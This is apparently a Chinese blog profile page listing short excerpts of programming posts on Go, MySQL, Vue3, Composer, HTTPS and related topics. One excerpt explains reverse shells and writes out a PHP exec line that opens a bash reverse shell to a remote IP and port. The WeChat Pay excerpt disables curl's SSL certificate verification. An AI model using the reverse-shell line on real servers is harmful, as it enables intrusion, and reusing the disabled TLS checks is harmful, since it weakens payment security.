- 博客(81)
- 收藏
- 关注
原创 快速理解24种设计模式
以java为例,java中的clone,克隆出的新对象中的引用类型属性,是对原对象中属性的引用,他们内存地址是相同的。例如角色A实现了sendA()方法,角色B是A的使用者,接收A并处理后,在sendB()方法中执行A的sendA()方法,此时A的sendA()方法输出已经发生了改变。策略模式中,根据条件变换单个调用对象,以改变原有代码的运行结果。ElementA、B、C属于被调用对象,被调用对象中除了自身的业务方法外,都要实现一个accept方法,用于接收访问者对象,并调用访问者对象中针对该对象的方法。
2024-12-25 10:24:14
1476
原创 单元测试使用记录
简单来说就是对一个类中的方法进行测试,对输出的结果检查判断是否符合预期结果但是在多年的工作中,从来没有哪个项目中真正系统的用到了单元测试,因此对它还是很陌生的,也就造成更加不会在项目中区使用它。
2024-12-20 11:52:02
672
原创 mysql存储过程的基本使用
和主要目的是设置mysql命令中的默认结束符。因为如果在mysql命令行直接粘贴存储过程创建的相关代码时,代码中的会被默认为结束符而直接执行前的语句,导致命令运行失败。如果是在Navicat for Mysql等工具的查询编辑器中编写和执行存储过程的创建,则不需要这两行代码,以及后的$
2024-11-29 11:58:32
360
原创 mysql8.0常用语法
从名字我们可以看出,该函数是对json字符串进行拆分的,而我们的frend字段存的不是json字符串,所以需要进行处理把friend字段拼接成json字符串,如下。现在因为某些需求,需要把friend字段进行拆分,并且和name、sex再次组成一条新的数据进行展示,如下。此时可以使用CROSS JOIN 函数,把friend进行拆分作为一个虚拟表后尽心联表查询,语法如下。在这个查询中,CTE首先选出了与e直接关联的d,然后递归地向上找到d、c、b、a的关系。– 假定有如下的关联表结构。
2024-05-13 16:21:44
625
1
原创 Yii2项目使用composer异常记录
在yii2项目中,使用require命令安装依赖时,出现如下错误提示该提示意思是:composer运行时,执行了yiisoft/yii2-composer目录下的插件,但是该插件使用的API版本是1.0,但是当前的cmposer版本提供的API接口本本是2.2.0,导致该插件无法正常执行。建议使用composer update --no-plugins 命令,把插件相关的组件升级到最新版本,让插件依赖的API版本升级到2.0以上。
2024-02-18 11:52:17
738
原创 composer常用命令
并且会生成和更新composer.json文件和composer.lock文件。在生产环境下,直接使用composer update命令是有较大风险的,因为它会去读取 composer.json 中依赖,拉取满足条件的最新依赖包,很容易出现问题。如果composer.lock文件不存在,则读取composer.json第三方组件及其版本,然后安装到vendor目录下。如果依赖的第三方组件有版本更新,update会将最新的版本安装到vendor目录下,并更新composer.lock。
2024-02-01 15:13:52
886
原创 PHP通过pem文件校验签名异常
在对接第三方支付过程中,支付成功异步回调时,校验签名,一直无法通过。但是在支付成功同有一个同步返回也需要校验签名,用的是同样的 校验方法,都没有问题。把回调时传递的参数放在postman中,手动发起回调,也可以通过签名校验最后经过排查,是引用秘钥文件时,报错了,错误代码如下上面代码其实是没有问题的,问题出在rsa_public.pem文件的内容,秘钥内容都写在同一行了,没有按照标准的秘钥格式书写,如下。
2023-09-15 17:44:26
407
原创 canvas的基本使用
剪裁后,绘制的图像和路径,只有在剪裁的路径内的部分会展示,超出的部分不展示制作圆形头像就是使用该原理,先绘制圆形路径,让后让如图片,即可如果想在剪裁区之外绘制图形,需要在clip之前使用save()方法,然后再clip之后使用restore()方法
2023-01-13 16:35:15
509
1
原创 php异常和错误处理机制
当代码中有多处异常需要抛出时,我们可以不必每次都使用try…catch处理,完全可以统一处理。这时我们可以用set_exception_handler 方法,注册一个异常监听方法。当有异常抛出时,且没有被 try … catch 捕获处理的话,此时系统会检查上下文是否注册了 set_exception_handler。如果未注册 则进入 PHP 标准错误处理 致命错误退出执行。如果已注册 则进入 set_exception_handler 处理 程序依然会退出执行。
2022-09-08 18:09:54
2264
原创 protocol-buffer安装和使用
protocol buffer是Google发布的一种独立的数据交换格式,类似于json,用于数据的序列化和解析。不同点是不能直接在各编程语言中使用,需要先在一个proto文件中定义需要传输的数据格式,然后使用proto工具把proto文件编译成想要的语言,如java、go、php等。然后在代码中,使用语言对应的protocol buffer包调用proto工具生成的文件,完成数据的序列化。
2022-08-25 11:01:17
1851
原创 golang常用包
但是当需要解密的数据是接口类型时,由于接口的特殊性,实现了接口中方法的变量可以作为值代替该方法,这导致gob不知道接口中数据的具体类型,会解密失败,如下。不同的是,在反序列化时,需要有一个指定格式的变量接收值。解析切片中的某个数字,要知道该数字在切片中占用的起始位置,若位置不对则无法解析出正确的数字,返回0。切片中可以插入字符串,转换为数字时,只要能够从正确的位置开始解析,就会解析出正确的数字。所谓大端和小端节序,是指不同cpu再把数据流转换为字节时,排位位置的不同,如下。
2022-08-23 17:00:18
786
原创 golang RPC包的使用和源码学习(下):tinyrpc项目源码学习
项目是github上的一个开源项目,自定义了一个基于protocol-buffer的编码器。除此之外还自定义了数据的压缩方式(提高传输速度),自定义了请求头内容(提高了安全性),关于项目的讲解可查看原作者知乎文章。下载项目后,项目根目录下的client.go和server.go文件是建立客户端和服务端时,分别需要用到的两个文件,我们先查看client.go。查看创建客户端编码器的文件,codec/client.go。本篇公章主要主要从代码阅读角度出发,学习go的编程思想。
2022-08-22 18:01:58
722
原创 golang RPC包的使用和源码学习(上):基本原理和简单使用
本篇文章旨在通过学习rpc包和github上的一个rpc小项目,熟悉和学习golang中各个包的使用。
2022-08-16 17:49:54
470
原创 golang基础配置和常用命令
go bulid每次执行都要重新编译所有包文件,而go install则会先检查包对应的.a文件,如果包文件未修改,则直接使用.a文件,不需要重新编译,提高了速度。golang在1.11开始才支持mod,在此之前,go使用go get 命令下载依赖包,和项目代码都必须在gopath/src目录下。如果项目很大,每次编译都要花很长时间,则建议使用 go install 来编译,充分利用它对依赖包的缓存功能。文件中引入了gin框架包,我们可以先使用 go get命令先现在依赖,再执行main.go文件。....
2022-08-03 17:34:27
412
原创 go+mysql+redis+vue3简单聊室,第6弹:使用vue3和element-plus调用接口
我们使用go实现了聊天应用的接口和数据同步后,就可以开始着手使用vue搭建前端页面,并且调用接口了。本篇文章不会详细说明vue3和相关组件的使用方法,有需求的可以直接查看官方文档接口即可首先安装node.js,安装成功后,使用npm命令行安装vue3。安装完vue3后,在指定目录使用vue命令创建一个项目脚手架。node.js和vue的安装问题可以。...
2022-07-19 16:38:15
688
原创 vue3使用记录
找到node.js的安装目录,把npm.cmd文件中的prefix-g修改为prefix--location=glocal保存后,再次打开命令窗口,执行npm命令不再提示异常。使用中发现,element组件中有些有些属性是一个静态值,不需要绑定动态数据时,但是使用时还是需要进行绑定,否则无效。使用,需要在setup中调用,不能在setup中定义的方法内调用,和globalPropertie类似。除了字符串类型的属性,其他类型的参数,我们最好加上冒号,以避免属性不生效。...
2022-07-19 11:01:23
474
原创 go+mysql+redis+vue3简单聊室,第5弹:使用消息队列和定时任务同步消息到mysql
完成消息发送后,我们需要保存聊天记录到数据库中。像聊天记录这种访问不频繁的冷数据,保存在mysql数据是常规做法。但是当用户增多,消息发送频率上升,会在短时间频繁链接mysql,大并发下会造成mysql的阻塞我们可以使用reids消息队列作为中间缓冲,先把用户的聊天记录保存在队列中,在服务器空闲时段,使用定时任务,在把数据同步到mysql中即可。redis是基于内存的,可以承受比mysql大得多的并发。......
2022-07-15 18:01:50
878
1
原创 go+mysql+redis+vue3简单聊室,第4弹:gin的websocket通讯和多go程任务处理
前面我们使用gin的路由实现了常规的http请求,但是聊天是基于websocket的,我们需要建立一个新路由,用于接收websocket请求。websocket的建立是基于http的,一开始需要通过http建立联系,所以我们是可以通过http路由监听到websocket请求的,然后判断请求类型,是websokcet的话,就建立真正的websocket服务gin处理websocket就是用上述方式进行的。修改routes/route.go,如下在go中,一个http请求就是一个协程,代码执行结束后该协程就结
2022-07-14 17:14:49
1662
原创 go+mysql+redis+vue3简单聊室,第3弹:使用session和gin模板
虽然现在的接口大部分都使用token保持状态,但session和cookie作为经典方案,我们还是有必须要了解下如何使用。golang原生路由和gin框架路由都没有实现自动开启cookie,需要我们手动去配置项目开始阶段,我们先使用gin的模板渲染,在常规html页面实现聊天效果,最后再向vue过渡在根目录创建views目录,在目录中创建index.html和login.html文件login.htmlindex.html改造路由文件修改后的 routes/route.go 文件如下修改后,请求接
2022-07-13 16:31:53
627
原创 go+mysql+redis+vue3简单聊室,第2弹:数据库链接和操作
在根目录下创建config目录,目录下存放全局需要用到的一些配置文件创建配置文件config.ini创建用于解析配置文件的 config.go连接数据库根目录下创建models目录,存放mysql相关的操作文件创建mysql.go创建数据表modelgorm操作数据表,是基于一个struct类型的变量进行的,struct 中属性和类型需要与表一一对应,所以们需要建立两个文件,相当于是表对应的model,用以对两个表进行声明和操作先建立两个表,user和msg在models文件夹下建立use
2022-07-13 14:25:08
548
原创 go+mysql+redis+vue3简单聊室,第1弹:接口路由搭建和传参
我们首先在go的工作目录下下创建一个项目目录,project1。在项目目录中我们建立一个routers目录,用于存放路由相关文件。创建一个route.go文件,如下在项目根目录下创建项目启动文件main.go,如下在项目根目录下,执行命令行:go run main.go 运行程序postman中,请求注册方法,地址为:127.0.0.1:8080/user/register我们看到命令行中打印出了 相关内容,但是postman没有任何内容输出,方法还需要改造,让方法返回数据给response再次请
2022-07-12 18:15:08
620
原创 go中反射的基本使用
文章目录对接口类型变量取值自定义CallUserFuncArray方法对接口类型变量取值m := make(map[string]interface{})m["session_id"] = "ssffsdfdfs"m["people"] = map[string]interface{}{"name":"zhangsan","age":18}fmt.Print(m["peolpe"]["name"])上面代码打印时会报错,这是因为people对应的是接口类型的值,不能使用map取值的方式取值需
2022-05-25 11:59:29
487
原创 go中指针相关操作记录
当我们使用一些方法时,需要传入变量的指针。go中对于指针的操作有相当明确的规定,不是任何变量和值都可以操作指针的可寻址情况一个变量: &x指针引用(pointer indirection): &*xslice 索引操作(不管 slice 是否可寻址): &s[1]因为 slice 底层实现了一个数组,它是可以寻址的可寻址 struct 的字段: &point.X可寻址数组的索引操作: &a[0]composite literal 类型: &s
2022-05-19 15:41:26
567
原创 go常用方法使用记录
文章目录1、生成指定长度随机字符串2、生成多级目录3、生成新文件,并写入数据4、向文件中追加数据5、map声明和初始化的3种形式6、map的json操作7、接口类型值的使用1、生成指定长度随机字符串//首先定义一个指定长度的 字节类型的切片b := make([]byte,32)//然后使用随机数填充切片if _,err := io.ReadFull(rand.Reader,b);err != nil{ fmt.Printl("生成异常:"+err)}//把切片转换为字符串var str
2022-05-13 17:29:04
221
原创 GO切片避坑记录
首先我们记录下切片的几种声明方式//声明一个当前长度、容量都为0的切片var slice []intslice := make([]int,0,0)slice := []int{}//通过数组声明切片arr := [5]int{1,2,3,4,5}slice := arr[:3]var slice []int = arr[:3]1、append不会自动追加append不像类似PHP的array_push函数,会直接改变原数组的值。append需要使用原切片的变量接收该方法的值,原切片
2022-04-21 18:19:26
356
原创 Yii2 用户认证相关使用记录
基础使用首先在应用的配置文件中进行如下配置'components' => [ 'user' => [ //用于获取验证状态的系统类 'class' => 'yii\web\User', //用于获取用户信息的自定义类,继承了model类,并且实现了接口 yii\web\IdentityInterface 'identityClass' => 'common\models\Us
2022-03-16 18:20:14
1521
原创 Neo4j数据库使用记录
1、数据库的安装和访问从neo4j官网下载windows版文件,解压到相应目录后,在bin目录下执行:neo4j install-service 命令,把neo4j作为一个服务安装到电脑。执行该命时,需要确保电脑上已安装了与安装的neo4j版本匹配的java环境,否则会报错。我使用的是neo4j3.5.31,java8安装成功后,需要到服务中开启neo4j服务,然后在浏览器访问localhost:7474即可2、名称和标签的作用数据库是由节点和关系组成的。节点和关系都有名称和标签,那么名称和标签的
2022-03-11 15:29:19
1373
原创 取消浏览器启动时的默认主页
最近使用chrome和Edge浏览器时,启动打开的默认标签页不是空白页,chrome默认打开的是2345导航页,edge打开的是360导航页,真他妈的烦的要命在设置-》启动选项设置后也无效,最后发现应该是浏览器启动文件被劫持了。首先查看快捷方式属性发现edge是快捷方式被劫持了,删除后面的url后,重新打开浏览器,出现空白的新标签页,完美。查看chrome的快捷方式,发现目标选项没有多余的url,但还是会打开2345导航页。这个时候我们只要按照起始位置找到chrome的执行文件chromr.exe
2022-01-18 15:19:13
1884
1
原创 反弹shell原理和实现
当一些框架和代码,不小心让可执行shell命令的函数存在注入漏洞时,会被利用注入漏洞执行一些shell命令。入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下通过web访问并执行shell.php文件exec('bash -i &> /dev/tcp/10.201.61.194/5566 0>&1');这条命令的作用是,在服务器建立一个可以与10.201.61.
2022-01-18 12:01:28
3621
原创 一次完整的HTPPS请求
文章目录第一次http请求443端口第一次数据发送:客户端发起第二次数据发送:服务器发起第三次数据发送:客户端发起第四次数据发送:服务端发起第二次http请求https的本质首先我们知道,http是基于TCL/IP协议。在http的基础上,在TCP/IP与http中间加一层SSL加密协议,就变成了HTTP over SSL,简称https。一次完整的https请求,其实是由两次http请求构成的第一次http请求443端口HTTPS工作在443端口,所以第一次http请求443端口这次请求的主要
2022-01-13 15:40:05
5910
原创 微信支付-企业付款到零钱
微信支付API文档中,关于企业付款到零钱的api的使用讲解,大致能够了解接口的调用规则,不过在过程中有些坑还是难以避免。配置好参数后,使用curl调起接口,如下 $curl = curl_init(); curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_
2022-01-05 18:21:20
2951
原创 linux下mysql的一些基本操作
文章目录1、允许mysql被远程连接1、允许mysql被远程连接首先使用root账号登录mysql登录后执行如下操作use mysql;select user,host from mysql.user;结果如下user和host表示可以连接mysql的用户和主机,我们发现host都是指向本机地址。我们用哪个账户进行远程连接,就把该账户的host修改为%,表示不限制主机地址,具体命令如下update user set host = '%' where user = 'root';执行
2021-10-08 15:03:11
161
原创 linux下Elasticsearch和Logstash的安装和使用
这里写目录标题安装第一步 下载并解压文件第二步 修改配置文件第三步 安装前用户和环境设置1、修改虚拟内存区域数量2、新建es用户3、设置es用户的环境变量4、安装安装由于是初次安装和使用es,对es的运行环境和安装过程不了解,做了很多无用的事。比如我安装的是es7.15,这个版本的es不需要要安装java环境,因为他自带java JDK。下面是具体的安装步骤第一步 下载并解压文件我们在官网下载好tar.gz文件后,把文件解压到/usr/local目录后,修改es目录为自己想要的名字,我把解压后的
2021-09-30 14:54:00
1239
原创 正则使用记录
目标字符串<td width="50%"><p style="text-align:left"> <span style="font-family:'Times New Roman'">A.</span>Blended schools.</span></p></td><td width="50%"><p style="text-align:left;"> <span style="
2021-06-25 17:38:26
107
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人